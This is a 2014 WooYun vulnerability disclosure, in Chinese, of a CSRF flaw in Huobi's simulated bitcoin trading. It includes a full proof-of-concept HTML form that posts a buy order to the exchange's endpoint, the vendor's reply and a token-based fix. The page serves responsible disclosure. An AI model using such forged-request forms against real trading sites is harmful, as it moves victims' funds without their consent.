当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-077794

漏洞标题：火币网买卖比特币模拟交易CSRF漏洞

相关厂商：huobi.com

漏洞作者： 路人甲

提交时间：2014-09-29 17:06

修复时间：2014-11-13 17:08

公开时间：2014-11-13 17:08

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-30： 厂商已经确认，细节仅向厂商公开
2014-10-10： 细节向核心白帽子及相关领域专家公开
2014-10-20： 细节向普通白帽子公开
2014-10-30： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

简要描述：

登陆火币网之后，在本地创建html表单，form的action设置为火币网买入比特币url，提交表单，成功扣除余额

详细说明：

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF Hijack</title>
</head>
<body>
  <form id="form_add_buy_btc" class="form-horizontal" method="post" action="https://s.huobi.com/?a=do_buy">
  <div class="control-group">
    <label class="control-label tx-red" for="zuijiamaijia">最佳买价：</label>
    <div class="controls">
      <label id="zuijiamaijia" class="tx-red" onclick="$('#form_add_buy_btc #mairujia').val($(this).html());$('#form_add_buy_btc #mairujia').trigger('change');">2299.2</label><span class="help-inline">CNY/BTC</span>
    </div>
  </div>
  <div class="control-group">
    <label class="control-label tx-red" for="dangqianyue">当前余额：</label>
    <div class="controls">
      <label id="dangqianyue" class="tx-red">100000.00</label><span class="help-inline">CNY</span>
    </div>
  </div>
  <div class="control-group">
    <label class="control-label tx-red" for="kemairuliang">可买入量：</label>
    <div class="controls">
      <label id="kemairuliang" class="tx-red">43.4782</label><span class="help-inline">BTC</span>
    </div>
  </div>
  <div class="control-group">
    <label class="control-label" for="mairujia">买入价：</label>
    <div class="controls">
      <div class="mairujiaformError parentFormform_add_buy_btc formError formError-small" style="opacity: 0.87; position: absolute; top: 445px; left: 611.5px; margin-top: -35px;"><div class="formErrorContent">* 此处不可空白<br></div><div class="formErrorArrow"><div class="line10"><!-- --></div><div class="line9"><!-- --></div><div class="line8"><!-- --></div><div class="line7"><!-- --></div><div class="line6"><!-- --></div><div class="line5"><!-- --></div><div class="line4"><!-- --></div><div class="line3"><!-- --></div><div class="line2"><!-- --></div><div class="line1"><!-- --></div></div></div><input class="validate[required,ajax[ajax_st_check_buy_price]] text-input " name="price" type="text" id="mairujia" placeholder=""><span class="help-inline">CNY/BTC</span>
    </div>
  </div>
  <div class="control-group">
    <label class="control-label" for="mairuliang">买入量：</label>
    <div class="controls">
      <input class="validate[required,ajax[ajax_st_check_buy_volume]] text-input " name="amount" type="text" id="mairuliang" placeholder=""><span class="help-inline">BTC</span>
    </div>
  </div>
  <div class="control-group">
    <label class="control-label" for="duihuane">交易额：</label>
    <div class="controls">
      <input class="validate[required] text-input " type="text" id="duihuane" placeholder=""><span class="help-inline">CNY</span>
    </div>
  </div>
  <div class="control-group hidden">
    <label class="control-label" for="shouxufei">手续费：</label>
    <div class="controls">
      <input class="validate[required] text-input " type="text" id="shouxufei" placeholder="">
      <span class="help-inline">CNY&nbsp;&nbsp;<span class="text-success">(<span class="user_fee_rate">0</span>%)</span></span>
    </div>
  </div>
  <div class="control-group">
    <button type="submit" class=" buy_btn">买入 （BTC-CNY）</button>
  </div>
</form>
</body>
</html>

漏洞证明：

之前的状态：

QQ截图20140929155640.png


漏洞表单：

QQ截图20140929155740.png


提交表单后跳转到火币网页面并成功扣除余额：

QQ截图20140929155730.png

修复方案：

建议为每笔交易加上token或者验证，因为正式场景下也并没有任何验证，如果恶意页面和火币网页面一起打开并且用户登录了火币网则后果不堪设想

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2014-09-30 01:46

厂商回复：

CSRF模拟交易意义不大，正式环境不受影响。不过既然作者提醒了，就准备修复一下

最新状态：

暂无

漏洞评价：

评论